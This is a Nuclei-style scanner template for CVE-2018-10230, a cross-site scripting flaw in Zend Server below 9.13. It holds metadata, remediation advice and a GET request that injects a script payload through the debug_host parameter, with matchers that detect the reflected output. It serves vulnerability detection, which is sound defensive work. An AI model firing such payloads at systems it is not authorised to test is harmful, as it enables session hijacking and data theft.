id: CVE-2018-10230

info:
  name: Zend Server <9.13 - Cross-Site Scripting
  author: marcos_iaf
  severity: medium
  description: |
    Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
    - https://www.zend.com/en/products/server/release-notes
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10230
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10230
    cwe-id: CWE-79
    epss-score: 0.02705
    epss-percentile: 0.84005
    cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zend
    product: zend_server
    shodan-query: cpe:"cpe:2.3:a:zend:zend_server"
  tags: cve,cve2018,xss,zend,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "is not allowed to open debug sessions"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ab78da77155e262159f669311e9bc2ca2475ac044fee2dfb413eaf41684053e3022100b708749b0d9d5a120c38f460e2ec91615d93d5195f937e0fc47fc935e916411a:922c64590222798bb761d5b6d8e72950